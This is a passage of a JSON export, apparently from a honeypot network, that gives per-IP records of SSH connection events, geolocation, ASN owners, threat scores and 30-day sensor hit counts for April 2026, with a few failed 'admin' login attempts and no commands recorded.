        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T05:52:13+00:00",
        "last_seen_30d": "2026-04-29T05:35:37.978000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 32,
        "Mailoney": 5,
        "Cowrie": 4,
        "ConPot": 2
      }
    },
    "205.210.31.224": {
      "attack_count": 4,
      "first_seen": "2026-04-19T10:33:05.426Z",
      "last_seen": "2026-04-19T10:33:08.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T00:07:49.605000+00:00",
        "last_seen_30d": "2026-04-29T21:32:29.297000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 26,
        "Miniprint": 10,
        "Mailoney": 5,
        "Cowrie": 4,
        "Tanner": 2,
        "ConPot": 1
      }
    },
    "205.210.31.71": {
      "attack_count": 4,
      "first_seen": "2026-04-27T04:49:17.403Z",
      "last_seen": "2026-04-27T04:49:20.959Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 29,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T05:14:52.473000+00:00",
        "last_seen_30d": "2026-04-29T22:51:20.751000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 18,
        "ConPot": 5,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "213.170.86.253": {
      "attack_count": 4,
      "first_seen": "2026-04-26T10:55:41.453Z",
      "last_seen": "2026-04-26T10:55:41.460Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12418,
      "as_org": "Quantum CJSC",
      "threat_score": 47.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-26T10:55:41+00:00",
        "last_seen_30d": "2026-04-26T10:56:51.653000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Redishoneypot": 2,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "32.192.238.67": {
      "attack_count": 4,
      "first_seen": "2026-04-05T00:59:05.463Z",
      "last_seen": "2026-04-05T00:59:12.202Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 63.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.0,
        "persistence": 21.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 26,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T00:59:05.463000+00:00",
        "last_seen_30d": "2026-04-30T00:56:41.250000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 2,
        "H0neytr4p": 1
      }
    },
    "47.115.89.3": {
      "attack_count": 4,
      "first_seen": "2026-04-21T23:50:17.711Z",
      "last_seen": "2026-04-28T02:41:25.182Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T23:50:17.711000+00:00",
        "last_seen_30d": "2026-04-28T02:42:26.902000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "71.6.134.235": {
      "attack_count": 4,
      "first_seen": "2026-04-08T10:51:27.094Z",
      "last_seen": "2026-04-08T10:51:27.504Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 87.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.8,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 381,
        "days_active_30d": 23,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-07T12:36:27+00:00",
        "last_seen_30d": "2026-04-29T19:54:00.357000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 276,
        "Honeytrap": 93,
        "Cowrie": 4,
        "Dionaea": 4,
        "ElasticPot": 2,
        "H0neytr4p": 2
      }
    },
    "91.196.152.110": {
      "attack_count": 4,
      "first_seen": "2026-04-04T00:16:10.586Z",
      "last_seen": "2026-04-04T00:16:11.226Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 59.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.3,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 24,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T12:22:16+00:00",
        "last_seen_30d": "2026-04-24T17:01:00.484000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 32,
        "Cowrie": 4
      }
    },
    "101.36.104.242": {
      "attack_count": 3,
      "first_seen": "2026-04-14T06:17:45.740Z",
      "last_seen": "2026-04-14T06:18:48.072Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 72.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.3,
        "persistence": 23.3,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 28,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T16:20:29.223000+00:00",
        "last_seen_30d": "2026-04-29T07:31:29.604000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 115,
        "Tanner": 92,
        "Cowrie": 3,
        "Honeytrap": 2
      }
    },
    "118.145.100.92": {
      "attack_count": 3,
      "first_seen": "2026-04-03T12:18:47.861Z",
      "last_seen": "2026-04-03T12:19:53.902Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 10.8,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 13,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T12:18:47.861000+00:00",
        "last_seen_30d": "2026-04-15T06:34:04.130000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Tanner": 46,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "165.154.227.162": {
      "attack_count": 3,
      "first_seen": "2026-04-09T01:20:34.645Z",
      "last_seen": "2026-04-09T01:21:36.700Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T20:26:59+00:00",
        "last_seen_30d": "2026-04-09T01:22:39.155000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "206.81.29.46": {
      "attack_count": 3,
      "first_seen": "2026-04-09T10:23:28.061Z",
      "last_seen": "2026-04-09T10:23:28.470Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 48.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 17.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 21,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T10:23:28.061000+00:00",
        "last_seen_30d": "2026-04-29T14:00:43.010000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "114.200.210.83": {
      "attack_count": 2,
      "first_seen": "2026-04-12T18:21:09.403Z",
      "last_seen": "2026-04-12T18:21:22.079Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongsan-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T18:21:09.403000+00:00",
        "last_seen_30d": "2026-04-12T18:22:23.694000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.65.84.145": {
      "attack_count": 2,
      "first_seen": "2026-04-16T18:58:12.100Z",
      "last_seen": "2026-04-16T18:58:42.672Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 9595,
      "as_org": "NTT-ME Corporation",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T18:58:12.100000+00:00",
        "last_seen_30d": "2026-04-16T18:59:45.672000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "125.113.109.73": {
      "attack_count": 2,
      "first_seen": "2026-04-27T04:54:11.747Z",
      "last_seen": "2026-04-27T04:54:23.862Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T04:54:11.747000+00:00",
        "last_seen_30d": "2026-04-27T04:55:28.246000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.135.46.8": {
      "attack_count": 2,
      "first_seen": "2026-04-28T11:26:06.424Z",
      "last_seen": "2026-04-28T11:26:18.836Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T11:26:06.424000+00:00",
        "last_seen_30d": "2026-04-28T11:27:23.205000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "143.198.196.195": {
      "attack_count": 2,
      "first_seen": "2026-04-11T18:54:30.463Z",
      "last_seen": "2026-04-11T18:54:30.464Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T18:54:30.463000+00:00",
        "last_seen_30d": "2026-04-11T18:55:36.379000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "143.244.178.70": {
      "attack_count": 2,
      "first_seen": "2026-04-23T18:18:36.408Z",
      "last_seen": "2026-04-23T18:18:36.409Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T18:18:36.408000+00:00",
        "last_seen_30d": "2026-04-23T18:19:45.815000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "143.255.87.202": {
      "attack_count": 2,
      "first_seen": "2026-04-26T05:43:47.305Z",
      "last_seen": "2026-04-26T05:45:47.309Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "El Vig\u00eda",
      "asn": 263703,
      "as_org": "VIGINET C.A",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:43:47.305000+00:00",
        "last_seen_30d": "2026-04-26T05:47:02.879000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "147.185.132.115": {
      "attack_count": 2,
      "first_seen": "2026-04-18T23:40:32.539Z",
      "last_seen": "2026-04-18T23:40:42.345Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T08:30:08+00:00",
        "last_seen_30d": "2026-04-30T17:31:24.482000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 43,
        "ConPot": 8,
        "Cowrie": 2,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "Sentrypeer": 1
      }
    },
    "177.200.124.78": {
      "attack_count": 2,
      "first_seen": "2026-04-23T21:32:26.139Z",
      "last_seen": "2026-04-23T21:32:38.862Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cachoeira",
      "asn": 263636,
      "as_org": "CALLNET TELECOM",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T21:32:26.139000+00:00",
        "last_seen_30d": "2026-04-23T21:33:40.269000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.114.152.150": {
      "attack_count": 2,
      "first_seen": "2026-04-30T19:44:03.653Z",
      "last_seen": "2026-04-30T19:44:16.563Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 39232,
      "as_org": "Uninet LLC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:44:03.653000+00:00",
        "last_seen_30d": "2026-04-30T19:45:19.069000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.161.164.216": {
      "attack_count": 2,
      "first_seen": "2026-04-06T16:40:55.611Z",
      "last_seen": "2026-04-06T16:41:09.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Aracaju",
      "asn": 268467,
      "as_org": "Voa Internet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T16:40:55.611000+00:00",
        "last_seen_30d": "2026-04-06T16:42:12.757000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.239.122.167": {
      "attack_count": 2,
      "first_seen": "2026-04-23T16:21:28.354Z",
      "last_seen": "2026-04-23T16:21:59.076Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T16:21:28.354000+00:00",
        "last_seen_30d": "2026-04-23T16:23:03.639000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.20.5.164": {
      "attack_count": 2,
      "first_seen": "2026-04-05T18:41:25.907Z",
      "last_seen": "2026-04-05T18:41:38.935Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeonje-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T18:41:25.907000+00:00",
        "last_seen_30d": "2026-04-14T15:56:26.528000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "79.130.251.52": {
      "attack_count": 2,
      "first_seen": "2026-04-10T22:02:12.017Z",
      "last_seen": "2026-04-10T22:02:25.404Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Ilio\u00fapoli",
      "asn": 6799,
      "as_org": "OTEnet S.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T22:02:12.017000+00:00",
        "last_seen_30d": "2026-04-10T22:03:26.880000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.24.100.108": {
      "attack_count": 2,
      "first_seen": "2026-04-06T10:49:19.581Z",
      "last_seen": "2026-04-06T10:49:33.224Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Glasgow",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T10:49:19.581000+00:00",
        "last_seen_30d": "2026-04-06T10:50:42.774000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.215.35.53": {
      "attack_count": 2,
      "first_seen": "2026-04-07T23:30:23.850Z",
      "last_seen": "2026-04-07T23:30:37.028Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Meszna",
      "asn": 43153,
      "as_org": "SferaNET Sp. z o.o.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T23:30:23.850000+00:00",
        "last_seen_30d": "2026-04-07T23:31:39.330000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "92.118.39.95": {
      "attack_count": 1509,
      "first_seen": "2026-04-03T08:07:10.252Z",
      "last_seen": "2026-04-16T11:07:38.241Z",
